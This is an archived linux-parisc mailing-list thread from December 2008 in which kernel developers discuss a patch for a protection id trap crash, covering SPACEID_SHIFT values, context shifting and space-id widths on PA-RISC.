Message-ID: <119aab440812190928n5c3d7956y4e168ae35dcae1b4@mail.gmail.com>
References: <119aab440812190725r4e222233r7e3115b1db9ed919@mail.gmail.com>
	 <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca>
	 <119aab440812190823g326868a8p4953cc4a92751a32@mail.gmail.com>
	 <20081219162843.GA8945@bombadil.infradead.org>
	 <119aab440812190835h7da2192biaa3cb3b44be08038@mail.gmail.com>
	 <119aab440812190836m2b81b974vbb270d5a5f531baa@mail.gmail.com>
	 <20081219164458.GB8945@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229707786 32003 80.91.229.12 (19 Dec 2008 17:29:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 17:29:46 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 18:30:50 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDjAk-0001Xb-R7
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 18:29:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751758AbYLSR2n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 12:28:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751852AbYLSR2n
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 12:28:43 -0500
Original-Received: from rn-out-0910.google.com ([64.233.170.190]:14631 "EHLO
	rn-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751758AbYLSR2m (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 12:28:42 -0500
Original-Received: by rn-out-0910.google.com with SMTP id k40so811531rnd.17
        for <linux-parisc@vger.kernel.org>; Fri, 19 Dec 2008 09:28:41 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=rtWNJMT9s8VNWGpaysGzVC4x+fOq7ElhHtLDaHmJOO8=;
        b=oG08SeLUEdekjWSSylCvfNCmpnNEBuaI9jSGbHNv1WZ92v8vk6h2v77yTKVQptUUv/
         WB7oASnKSZmAAIE9K2elbcvAHZzcP0aFVDKUfxuTfvRrX1IdArCzssi29cDTd42gKQxA
         JcBs+Ngi7Y2bXOmfuJxoiWvKrVTrQEDTv85LQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=qcMkq4ICPTgaNDIW1Au/prW0ArX8DD5dNv6uDBTV2itHPzM1jV8DqJXJHzhcOQVQ4A
         NmmJ7nnqBbGghXekJwkzryQYddMzDsU/4YK7ku/5+6BT4iSQrcXboXh1pIZRNImumRfd
         CZjcSH1xus2+k9/0D1l1emphsaaGL4qwvJZNQ=
Original-Received: by 10.90.71.16 with SMTP id t16mr1943543aga.1.1229707721041;
        Fri, 19 Dec 2008 09:28:41 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Fri, 19 Dec 2008 09:28:40 -0800 (PST)
In-Reply-To: <20081219164458.GB8945@bombadil.infradead.org>
Content-Disposition: inline
X-Google-Sender-Auth: 332e85427cd708ca
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:989
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/989>

On Fri, Dec 19, 2008 at 11:44 AM, Kyle McMartin <kyle@infradead.org> wrote:
> SPACEID_SHIFT is the number of spaceid bits, which is 32 on 64-bit.

On 64-bit SPACEID_SHIFT is 11 bits. Verified by hand and by gcc -E/-dM
and test program.

On 32-bit SPACEID_SHIFT is 0 bits. Verified by hand.

> I suspect what this is trying to do, is put it in the rightmost half of
> the register, so as long as context is shifted left already, (which it
> is.)
>
> When you cancel out the SPACEID_SHIFT in alloc_sid, and here in
> load_context, you end up with the same mtctl(context << 1, 8) as on
> 32-bit.

Yes, and that keeps the WD bit clear.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 12:33:10 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20081219173310.GC8945@bombadil.infradead.org>
References: <119aab440812190725r4e222233r7e3115b1db9ed919@mail.gmail.com> <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca> <119aab440812190823g326868a8p4953cc4a92751a32@mail.gmail.com> <20081219162843.GA8945@bombadil.infradead.org> <119aab440812190835h7da2192biaa3cb3b44be08038@mail.gmail.com> <119aab440812190836m2b81b974vbb270d5a5f531baa@mail.gmail.com> <20081219164458.GB8945@bombadil.infradead.org> <119aab440812190928n5c3d7956y4e168ae35dcae1b4@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229708026 536 80.91.229.12 (19 Dec 2008 17:33:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 17:33:46 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 18:34:50 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDjF6-0001Xb-7F
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 18:34:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751553AbYLSRdN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 12:33:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751617AbYLSRdN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 12:33:13 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:33770 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751553AbYLSRdN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 12:33:13 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LDjDq-000845-G2; Fri, 19 Dec 2008 17:33:10 +0000
Content-Disposition: inline
In-Reply-To: <119aab440812190928n5c3d7956y4e168ae35dcae1b4@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:990
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/990>

On Fri, Dec 19, 2008 at 12:28:40PM -0500, Carlos O'Donell wrote:
> On Fri, Dec 19, 2008 at 11:44 AM, Kyle McMartin <kyle@infradead.org> wrote:
> > SPACEID_SHIFT is the number of spaceid bits, which is 32 on 64-bit.
> 
> On 64-bit SPACEID_SHIFT is 11 bits. Verified by hand and by gcc -E/-dM
> and test program.
> 
> On 32-bit SPACEID_SHIFT is 0 bits. Verified by hand.
> 

I just assumed MAX_ADDRBITS was 64. Anyway the point is moot.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 12:36:15 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab440812190936k1d18f174t6681075543d92efe@mail.gmail.com>
References: <119aab440812190725r4e222233r7e3115b1db9ed919@mail.gmail.com>
	 <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca>
	 <119aab440812190823g326868a8p4953cc4a92751a32@mail.gmail.com>
	 <20081219162843.GA8945@bombadil.infradead.org>
	 <119aab440812190835h7da2192biaa3cb3b44be08038@mail.gmail.com>
	 <119aab440812190836m2b81b974vbb270d5a5f531baa@mail.gmail.com>
	 <20081219164458.GB8945@bombadil.infradead.org>
	 <119aab440812190928n5c3d7956y4e168ae35dcae1b4@mail.gmail.com>
	 <20081219173310.GC8945@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229708198 1127 80.91.229.12 (19 Dec 2008 17:36:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 17:36:38 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 18:37:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDjI4-0004cB-RP
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 18:37:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751444AbYLSRgS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 12:36:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751666AbYLSRgS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 12:36:18 -0500
Original-Received: from yw-out-1718.google.com ([74.125.46.154]:26417 "EHLO
	yw-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751444AbYLSRgR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 12:36:17 -0500
Original-Received: by yw-out-1718.google.com with SMTP id 5so376624ywr.44
        for <linux-parisc@vger.kernel.org>; Fri, 19 Dec 2008 09:36:15 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=F8WQVy237agefuD4gj96EoYwZtEp16RRghCti55OUGY=;
        b=wNAwoCkJYdCbXsx4FcdfFfbbn37hBdvwrfN3vFCUOWTYEdmj5NDCKtubuFoSu8SgcW
         gccjvetfhYeOQxueKD4wBBnt1udVlUspL8PbegmwoQHRWmUeNdaCx7gMFWkF9PfDKNkF
         OwAVjvD5RXNslLChghphNTRqDOmEld3Kysyrs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=Yv+le9fmPOkpwHeQd+y1CJJa3A18Ap+lzX4K8xv37VOfeb6d8uEn6Y0rr+3zpRGqiH
         HM7v1kZOBAz3U96H0m6wVq5IJ0xE91wuxo32EsISPp7pxBj88SyjZTzrrZF9VDaX7oAr
         2cJhrJFT/8OVA2Feubu9uT/dwQh5Yfyaj19bo=
Original-Received: by 10.90.25.11 with SMTP id 11mr1946914agy.10.1229708175436;
        Fri, 19 Dec 2008 09:36:15 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Fri, 19 Dec 2008 09:36:15 -0800 (PST)
In-Reply-To: <20081219173310.GC8945@bombadil.infradead.org>
Content-Disposition: inline
X-Google-Sender-Auth: aef3a54b82f88810
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:991
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/991>

On Fri, Dec 19, 2008 at 12:33 PM, Kyle McMartin <kyle@infradead.org> wrote:
> On Fri, Dec 19, 2008 at 12:28:40PM -0500, Carlos O'Donell wrote:
>> On Fri, Dec 19, 2008 at 11:44 AM, Kyle McMartin <kyle@infradead.org> wrote:
>> > SPACEID_SHIFT is the number of spaceid bits, which is 32 on 64-bit.
>>
>> On 64-bit SPACEID_SHIFT is 11 bits. Verified by hand and by gcc -E/-dM
>> and test program.
>>
>> On 32-bit SPACEID_SHIFT is 0 bits. Verified by hand.
>>
>
> I just assumed MAX_ADDRBITS was 64. Anyway the point is moot.
>

I was just crossing the T's and dotting the I's. In case we need to
remember what SPACEID_SHIFT value was if we see something sketchy.

On 64-bit if you are not using 4kb pages, then SPACEID_SHIFT is 0 bits
like a 32-bit kernel.

c.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 12:39:31 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20081219173931.GE8945@bombadil.infradead.org>
References: <119aab440812190725r4e222233r7e3115b1db9ed919@mail.gmail.com> <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca> <119aab440812190823g326868a8p4953cc4a92751a32@mail.gmail.com> <20081219162843.GA8945@bombadil.infradead.org> <119aab440812190835h7da2192biaa3cb3b44be08038@mail.gmail.com> <119aab440812190836m2b81b974vbb270d5a5f531baa@mail.gmail.com> <20081219164458.GB8945@bombadil.infradead.org> <119aab440812190928n5c3d7956y4e168ae35dcae1b4@mail.gmail.com> <20081219173310.GC8945@bombadil.infradead.org> <119aab440812190936k1d18f174t6681075543d92efe@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229708453 2174 80.91.229.12 (19 Dec 2008 17:40:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 17:40:53 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 18:41:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDjLE-0006DW-PX
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 18:40:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752128AbYLSRjd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 12:39:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752130AbYLSRjd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 12:39:33 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:56427 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752128AbYLSRjd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 12:39:33 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LDjJz-0000eW-70; Fri, 19 Dec 2008 17:39:31 +0000
Content-Disposition: inline
In-Reply-To: <119aab440812190936k1d18f174t6681075543d92efe@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:992
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/992>

On Fri, Dec 19, 2008 at 12:36:15PM -0500, Carlos O'Donell wrote:
> On Fri, Dec 19, 2008 at 12:33 PM, Kyle McMartin <kyle@infradead.org> wrote:
> > On Fri, Dec 19, 2008 at 12:28:40PM -0500, Carlos O'Donell wrote:
> >> On Fri, Dec 19, 2008 at 11:44 AM, Kyle McMartin <kyle@infradead.org> wrote:
> >> > SPACEID_SHIFT is the number of spaceid bits, which is 32 on 64-bit.
> >>
> >> On 64-bit SPACEID_SHIFT is 11 bits. Verified by hand and by gcc -E/-dM
> >> and test program.
> >>
> >> On 32-bit SPACEID_SHIFT is 0 bits. Verified by hand.
> >>
> >
> > I just assumed MAX_ADDRBITS was 64. Anyway the point is moot.
> >
> 
> I was just crossing the T's and dotting the I's. In case we need to
> remember what SPACEID_SHIFT value was if we see something sketchy.
> 
> On 64-bit if you are not using 4kb pages, then SPACEID_SHIFT is 0 bits
> like a 32-bit kernel.
> 

That's a bug, and explains one of the reasons why !4K pages are broken.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 12:42:33 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20081219174233.GF8945@bombadil.infradead.org>
References: <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca> <119aab440812190823g326868a8p4953cc4a92751a32@mail.gmail.com> <20081219162843.GA8945@bombadil.infradead.org> <119aab440812190835h7da2192biaa3cb3b44be08038@mail.gmail.com> <119aab440812190836m2b81b974vbb270d5a5f531baa@mail.gmail.com> <20081219164458.GB8945@bombadil.infradead.org> <119aab440812190928n5c3d7956y4e168ae35dcae1b4@mail.gmail.com> <20081219173310.GC8945@bombadil.infradead.org> <119aab440812190936k1d18f174t6681075543d92efe@mail.gmail.com> <20081219173931.GE8945@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229708583 2643 80.91.229.12 (19 Dec 2008 17:43:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 17:43:03 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 18:44:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDjOC-0007bD-HR
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 18:43:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751559AbYLSRmh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 12:42:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751627AbYLSRmh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 12:42:37 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:35960 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751556AbYLSRmg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 12:42:36 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LDjMv-0007aP-El; Fri, 19 Dec 2008 17:42:33 +0000
Content-Disposition: inline
In-Reply-To: <20081219173931.GE8945@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:993
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/993>

On Fri, Dec 19, 2008 at 12:39:31PM -0500, Kyle McMartin wrote:
> On Fri, Dec 19, 2008 at 12:36:15PM -0500, Carlos O'Donell wrote:
> > On Fri, Dec 19, 2008 at 12:33 PM, Kyle McMartin <kyle@infradead.org> wrote:
> > > On Fri, Dec 19, 2008 at 12:28:40PM -0500, Carlos O'Donell wrote:
> > >> On Fri, Dec 19, 2008 at 11:44 AM, Kyle McMartin <kyle@infradead.org> wrote:
> > >> > SPACEID_SHIFT is the number of spaceid bits, which is 32 on 64-bit.
> > >>
> > >> On 64-bit SPACEID_SHIFT is 11 bits. Verified by hand and by gcc -E/-dM
> > >> and test program.
> > >>
> > >> On 32-bit SPACEID_SHIFT is 0 bits. Verified by hand.
> > >>
> > >
> > > I just assumed MAX_ADDRBITS was 64. Anyway the point is moot.
> > >
> > 
> > I was just crossing the T's and dotting the I's. In case we need to
> > remember what SPACEID_SHIFT value was if we see something sketchy.
> > 
> > On 64-bit if you are not using 4kb pages, then SPACEID_SHIFT is 0 bits
> > like a 32-bit kernel.
> > 
> 
> That's a bug, and explains one of the reasons why !4K pages are broken.
> 

Or rather not, my thinking being that context << 1 might end up being
33-bits, but I forgot we clip spaceids to the width of the protection
registers, so this can't happen.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 13:43:52 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <119aab440812191043l2b1ad771o75da7e85018c6eb8@mail.gmail.com>
References: <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca>
	 <20081219162843.GA8945@bombadil.infradead.org>
	 <119aab440812190835h7da2192biaa3cb3b44be08038@mail.gmail.com>
	 <119aab440812190836m2b81b974vbb270d5a5f531baa@mail.gmail.com>
	 <20081219164458.GB8945@bombadil.infradead.org>
	 <119aab440812190928n5c3d7956y4e168ae35dcae1b4@mail.gmail.com>
	 <20081219173310.GC8945@bombadil.infradead.org>
	 <119aab440812190936k1d18f174t6681075543d92efe@mail.gmail.com>
	 <20081219173931.GE8945@bombadil.infradead.org>
	 <20081219174233.GF8945@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229712247 14888 80.91.229.12 (19 Dec 2008 18:44:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 18:44:07 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 19:45:11 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDkLV-0005ab-7t
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 19:45:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751964AbYLSSny (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 13:43:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752031AbYLSSny
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 13:43:54 -0500
Original-Received: from yw-out-2324.google.com ([74.125.46.30]:58663 "EHLO
	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751964AbYLSSny (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 13:43:54 -0500
Original-Received: by yw-out-2324.google.com with SMTP id 9so412031ywe.1
        for <linux-parisc@vger.kernel.org>; Fri, 19 Dec 2008 10:43:52 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=8vhMv9zRNa7EkH9ei7PohWuJbzpXTu1/45Mlwtkuqsk=;
        b=ECowglkhlc8FR7qtv0mDK52c1iAtkedMMD1qwkvzMc3aVQDDmbgVw3erk1yYwP4iNZ
         OGEBR5bSY6Z6gCQH+pMIY50ulcGnwy8/oUXl2Ih2vXdln5KEZ/4gNFSrGIsCCYWyFIy9
         wP6hQObL2wSNdI1op6Nix3zGDTbIb0fiDDaCM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=vU6UTwosos5Ywpwnuq5sMYQTdoqrkV8TlGwjacxu0qWle6tFC8YtMZMurDyfGM4OpN
         YzUc8pMihgz+/tTY7T4IE5tVbUEflhhqPGhcb4c3dufo9FxE29dU5p6EjTGqGLBXLVMu
         zvV3OwDakXbIGfun9bVnlJDISBQ3CD1xfeFbI=
Original-Received: by 10.90.66.10 with SMTP id o10mr1985146aga.99.1229712232527;
        Fri, 19 Dec 2008 10:43:52 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Fri, 19 Dec 2008 10:43:52 -0800 (PST)
In-Reply-To: <20081219174233.GF8945@bombadil.infradead.org>
Content-Disposition: inline
X-Google-Sender-Auth: a6969fb45418b038
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:994
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/994>

On Fri, Dec 19, 2008 at 12:42 PM, Kyle McMartin <kyle@infradead.org> wrote:
> Or rather not, my thinking being that context << 1 might end up being
> 33-bits, but I forgot we clip spaceids to the width of the protection
> registers, so this can't happen.

Yes, that is correct, we only use 17-bit space ids on PA 2.0 (18-bits
implemented) and 14-bit space ids on PA 1.1 (15-bits implemented on
average). I assume we reserve the last bit for the rightmost WD-bit.
Therefore context << 1 yields at most 18-bits.

c.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:12 2018
